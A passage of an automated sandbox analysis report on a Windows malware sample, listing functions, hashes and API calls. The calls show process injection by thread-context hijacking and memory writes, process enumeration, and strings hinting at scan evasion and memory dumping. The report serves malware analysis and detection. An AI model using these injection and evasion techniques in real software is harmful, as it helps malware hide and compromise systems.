                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Open$FileModuleNameQueryValue$Close
                                                                                    • String ID:
                                                                                    • API String ID: 2796650324-0
                                                                                    • Opcode ID: b28d12baadab1e4308946262d595483018c342fe3ea7939c094ad429c1d6dced
                                                                                    • Instruction ID: e44cf23e152e9590d0ebb21437ed8dc1c6cdb24f35591096ddb66a4a08b8055a
                                                                                    • Opcode Fuzzy Hash: b28d12baadab1e4308946262d595483018c342fe3ea7939c094ad429c1d6dced
                                                                                    • Instruction Fuzzy Hash: 0AE06D71A002148BCB21DE5C88C0AA637D8AF08750F4005A5EC58DF34AD3B0E9508BD1
                                                                                    Function 02BB7D9C Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • WriteFile.KERNEL32(?,?,?,?,00000000), ref: 02BB7DB0
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: FileWrite
                                                                                    • String ID:
                                                                                    • API String ID: 3934441357-0
                                                                                    • Opcode ID: d61ce2c3c763b7742acb03e8648b5f8fe395973a28385ba7f431f6bc08d7eb89
                                                                                    • Instruction ID: b79beae7b23a5ec20ee25681f187f0c6a6beff885c68eeddbfb9f92e3c080999
                                                                                    • Opcode Fuzzy Hash: d61ce2c3c763b7742acb03e8648b5f8fe395973a28385ba7f431f6bc08d7eb89
                                                                                    • Instruction Fuzzy Hash: 11D05BB23081107AD220996A5C44EF75BDCCFC9770F100679B658C3180D7608C018671
                                                                                    Function 02BB4C24 Relevance: 1.5, APIs: 1, Instructions: 16COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: FreeString
                                                                                    • String ID:
                                                                                    • API String ID: 3341692771-0
                                                                                    • Opcode ID: ceb5ae88bf033e98fc82206b21d1e89e82677d744592aa3ef6d188a356359a2c
                                                                                    • Instruction ID: 17435f232ab1b86392d9779c4dd3fa84a1fbaa0c68bca122cbf3ec81a627c42f
                                                                                    • Opcode Fuzzy Hash: ceb5ae88bf033e98fc82206b21d1e89e82677d744592aa3ef6d188a356359a2c
                                                                                    • Instruction Fuzzy Hash: 67C012A261062447EB225A9C9CD07A562DCEF05696B1400E1D408D7242E3E0DC004664
                                                                                    Function 02BB7E3C Relevance: 1.5, APIs: 1, Instructions: 16COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetFileAttributesA.KERNEL32(00000000,?,02BD2A49,ScanString,02C1137C,02BDAFD8,OpenSession,02C1137C,02BDAFD8,ScanBuffer,02C1137C,02BDAFD8,OpenSession,02C1137C,02BDAFD8,Initialize), ref: 02BB7E47
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AttributesFile
                                                                                    • String ID:
                                                                                    • API String ID: 3188754299-0
                                                                                    • Opcode ID: d4a25932c1186a40cb6d5613e0fc1b23b5cf5f8b84d23e416c631f776c8215f9
                                                                                    • Instruction ID: b3ea91b394ff1776407c97bafe0b5cd022b5fc70f061c228c008efc1d828e7eb
                                                                                    • Opcode Fuzzy Hash: d4a25932c1186a40cb6d5613e0fc1b23b5cf5f8b84d23e416c631f776c8215f9
                                                                                    • Instruction Fuzzy Hash: E8C08CA62022080E5F6262FC5CC02FA428E9F881343A01FF1E578D61CBDB9198223410
                                                                                    Function 02BB7E18 Relevance: 1.5, APIs: 1, Instructions: 16COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetFileAttributesA.KERNEL32(00000000,?,02BCF8CC,ScanString,02C1137C,02BDAFD8,OpenSession,02C1137C,02BDAFD8,ScanString,02C1137C,02BDAFD8,UacScan,02C1137C,02BDAFD8,UacInitialize), ref: 02BB7E23
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AttributesFile
                                                                                    • String ID:
                                                                                    • API String ID: 3188754299-0
                                                                                    • Opcode ID: 39d99aea2b4b3de8ff8324b5e373e5cbc7456bababb3b7d58f404b20ec88a84a
                                                                                    • Instruction ID: 7bcd5cff065e95e7f6b4479ea1057d30bbb3b0e3e416bd383385696aadb4cbc0
                                                                                    • Opcode Fuzzy Hash: 39d99aea2b4b3de8ff8324b5e373e5cbc7456bababb3b7d58f404b20ec88a84a
                                                                                    • Instruction Fuzzy Hash: C8C08CA62022000B5A6361FC0CC40FA428C9F881383A50FF5B578C62D3DBA188223410
                                                                                    Function 02BDBB50 Relevance: 1.5, APIs: 1, Instructions: 12COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • timeSetEvent.WINMM(00002710,00000000,02BDBB44,00000000,00000001), ref: 02BDBB60
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Eventtime
                                                                                    • String ID:
                                                                                    • API String ID: 2982266575-0
                                                                                    • Opcode ID: 888862c48c8c4e2a220545c74567a8a1a80d7cbb42dbc6c22c5a6ec14469d165
                                                                                    • Instruction ID: 7a0c83e69c0ae688b721a707665a67b05b10efa3c6b67313bdbcc4ed88614c6e
                                                                                    • Opcode Fuzzy Hash: 888862c48c8c4e2a220545c74567a8a1a80d7cbb42dbc6c22c5a6ec14469d165
                                                                                    • Instruction Fuzzy Hash: C5C092F17803003EF62096A82CC2FB3668DE704B09F600492BE00EE2E6E5E24C600A78
                                                                                    Function 02BB4BE4 Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • SysAllocStringLen.OLEAUT32(00000000,?), ref: 02BB4BEB
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AllocString
                                                                                    • String ID:
                                                                                    • API String ID: 2525500382-0
                                                                                    • Opcode ID: 45a3375204cc73dd1af73f008c830e5c9ef88422045493d1b6915fbd8ee49b80
                                                                                    • Instruction ID: 77fde3b290fac1294356f3513f39646bb026157c2468b3fcb1488f47f3e00b2f
                                                                                    • Opcode Fuzzy Hash: 45a3375204cc73dd1af73f008c830e5c9ef88422045493d1b6915fbd8ee49b80
                                                                                    • Instruction Fuzzy Hash: CAB0123C24820219FE3712610D20BF210ACAF50387F8400E19F38C80C1FFC0C0008832
                                                                                    Function 02BB4BFC Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • SysFreeString.OLEAUT32(00000000), ref: 02BB4C03
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: FreeString
                                                                                    • String ID:
                                                                                    • API String ID: 3341692771-0
                                                                                    • Opcode ID: 4210c3dfb18652f6ec0b0b51d6fbd20cd1f444da7e88b25de82dc1dad3c2e2d3
                                                                                    • Instruction ID: 3a3f7d70005db687d9690434a53a909c77fa6a06203227ea9549398e2962a3cf
                                                                                    • Opcode Fuzzy Hash: 4210c3dfb18652f6ec0b0b51d6fbd20cd1f444da7e88b25de82dc1dad3c2e2d3
                                                                                    • Instruction Fuzzy Hash: F2A022AC8003030E8F0F232C00300BA2033BFE0B023CAC0E800000A000CFBAC000AC38
                                                                                    Function 02BB15CC Relevance: 1.3, APIs: 1, Instructions: 38memoryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • VirtualAlloc.KERNEL32(00000000,00140000,00001000,00000004,?,02BB1A03,?,02BB2000), ref: 02BB15E2
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AllocVirtual
                                                                                    • String ID:
                                                                                    • API String ID: 4275171209-0
                                                                                    • Opcode ID: 358bc51ea331b3ba04c1e8dd796bcc2e28f8a787c910179c7dd0ad9436802d50
                                                                                    • Instruction ID: 678a1ffc4ef03c8c49c07f95c90d04153f4f8db410d41634149c35b1e5d43d87
                                                                                    • Opcode Fuzzy Hash: 358bc51ea331b3ba04c1e8dd796bcc2e28f8a787c910179c7dd0ad9436802d50
                                                                                    • Instruction Fuzzy Hash: 6BF04FF0B913008FEB06CF7D9994355BAD2EB89344F118A7DD709DB388E771A4018B10
                                                                                    Function 02BB1682 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • VirtualAlloc.KERNEL32(00000000,?,00101000,00000004,?,?,?,?,02BB2000), ref: 02BB16A4
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AllocVirtual
                                                                                    • String ID:
                                                                                    • API String ID: 4275171209-0
                                                                                    • Opcode ID: ef3db5346c9caa955a838770bd555c266e18e80bdc1c9e9023c24957a5dcee61
                                                                                    • Instruction ID: e6feb55a8be9c7d773f24bb981d8d0d366a4bb1f3857cefa21282f67964260de
                                                                                    • Opcode Fuzzy Hash: ef3db5346c9caa955a838770bd555c266e18e80bdc1c9e9023c24957a5dcee61
                                                                                    • Instruction Fuzzy Hash: CEF0BEB2B40795ABD7129F5E9C91B92BB94FF01324F054279FA4C9B340D7B0A8508FD4
                                                                                    Function 02BB16E6 Relevance: 1.3, APIs: 1, Instructions: 25COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000,02BB1FE4), ref: 02BB1704
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: FreeVirtual
                                                                                    • String ID:
                                                                                    • API String ID: 1263568516-0
                                                                                    • Opcode ID: 0fbae326c1dfaae630a33be422f202855fd814882276205ce83d0f2994aa6ba5
                                                                                    • Instruction ID: c3771361566a75ec8466306d83048e92bc8fbf7c421b413fe003b5af66996242
                                                                                    • Opcode Fuzzy Hash: 0fbae326c1dfaae630a33be422f202855fd814882276205ce83d0f2994aa6ba5
                                                                                    • Instruction Fuzzy Hash: 1EE086B5310301AFD7115E7E5D517A66BD8EF45654F1444B5F549DB241D2E0E8108B60

                                                                                    Non-executed Functions

                                                                                    Function 02BCA95C Relevance: 59.6, APIs: 17, Strings: 17, Instructions: 99libraryloaderCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetModuleHandleA.KERNEL32(kernel32.dll,00000002,02BCABE3,?,?,02BCAC75,00000000,02BCAD51), ref: 02BCA970
                                                                                    • GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 02BCA988
                                                                                    • GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 02BCA99A
                                                                                    • GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 02BCA9AC
                                                                                    • GetProcAddress.KERNEL32(00000000,Heap32First), ref: 02BCA9BE
                                                                                    • GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 02BCA9D0
                                                                                    • GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 02BCA9E2
                                                                                    • GetProcAddress.KERNEL32(00000000,Process32First), ref: 02BCA9F4
                                                                                    • GetProcAddress.KERNEL32(00000000,Process32Next), ref: 02BCAA06
                                                                                    • GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 02BCAA18
                                                                                    • GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 02BCAA2A
                                                                                    • GetProcAddress.KERNEL32(00000000,Thread32First), ref: 02BCAA3C
                                                                                    • GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 02BCAA4E
                                                                                    • GetProcAddress.KERNEL32(00000000,Module32First), ref: 02BCAA60
                                                                                    • GetProcAddress.KERNEL32(00000000,Module32Next), ref: 02BCAA72
                                                                                    • GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 02BCAA84
                                                                                    • GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 02BCAA96
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AddressProc$HandleModule
                                                                                    • String ID: CreateToolhelp32Snapshot$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Module32First$Module32FirstW$Module32Next$Module32NextW$Process32First$Process32FirstW$Process32Next$Process32NextW$Thread32First$Thread32Next$Toolhelp32ReadProcessMemory$kernel32.dll
                                                                                    • API String ID: 667068680-597814768
                                                                                    • Opcode ID: b5affb6805cedf601900403aef48df04cd650131a8ab18553edd0e94f5104450
                                                                                    • Instruction ID: 0973f4ee538568ef1c8efefd88d9d7f6555cec45b21dd99d6bb9326c05176b9a
                                                                                    • Opcode Fuzzy Hash: b5affb6805cedf601900403aef48df04cd650131a8ab18553edd0e94f5104450
                                                                                    • Instruction Fuzzy Hash: CF315AB0E806249FEB11EFB4D986BA637A9FB067007540AE9B506DF214D7F898508F51
                                                                                    Function 02BC8BB0 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1654threadnativeinjectionCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 02BC8824: LoadLibraryA.KERNEL32(00000000,00000000,02BC890B), ref: 02BC8858
                                                                                      • Part of subcall function 02BC8824: FreeLibrary.KERNEL32(745E0000,00000000,02C11388,Function_000065D8,00000004,02C11398,02C11388,05F5E0FF,00000040,02C1139C,745E0000,00000000,00000000,00000000,00000000,02BC890B), ref: 02BC88EB
                                                                                    • GetThreadContext.KERNEL32(00000000,02C11420,ScanString,02C113A4,02BCA77C,UacInitialize,02C113A4,02BCA77C,ScanBuffer,02C113A4,02BCA77C,ScanBuffer,02C113A4,02BCA77C,UacInitialize,02C113A4), ref: 02BC9442
                                                                                      • Part of subcall function 02BC79B4: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02BC7A27
                                                                                      • Part of subcall function 02BC7D00: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02BC7D74
                                                                                    • SetThreadContext.KERNEL32(00000000,02C11420,ScanBuffer,02C113A4,02BCA77C,ScanString,02C113A4,02BCA77C,Initialize,02C113A4,02BCA77C,00000000,-00000008,02C114F8,00000004,02C114FC), ref: 02BCA157
                                                                                    • NtResumeThread.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,00000000,02C11420,ScanBuffer,02C113A4,02BCA77C,ScanString,02C113A4,02BCA77C,Initialize,02C113A4,02BCA77C,00000000,-00000008,02C114F8), ref: 02BCA164
                                                                                      • Part of subcall function 02BC87A0: LoadLibraryW.KERNEL32(bcrypt,?,00000000,00000000,02C113A4,02BCA3C7,ScanString,02C113A4,02BCA77C,ScanBuffer,02C113A4,02BCA77C,Initialize,02C113A4,02BCA77C,UacScan), ref: 02BC87B4
                                                                                      • Part of subcall function 02BC87A0: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02BC87CE
                                                                                      • Part of subcall function 02BC87A0: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000000,00000000,02C113A4,02BCA3C7,ScanString,02C113A4,02BCA77C,ScanBuffer,02C113A4,02BCA77C,Initialize), ref: 02BC880A
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Library$Thread$ContextFreeLoadMemoryVirtual$AddressAllocateProcResumeWrite
                                                                                    • String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
                                                                                    • API String ID: 4180202596-51457883
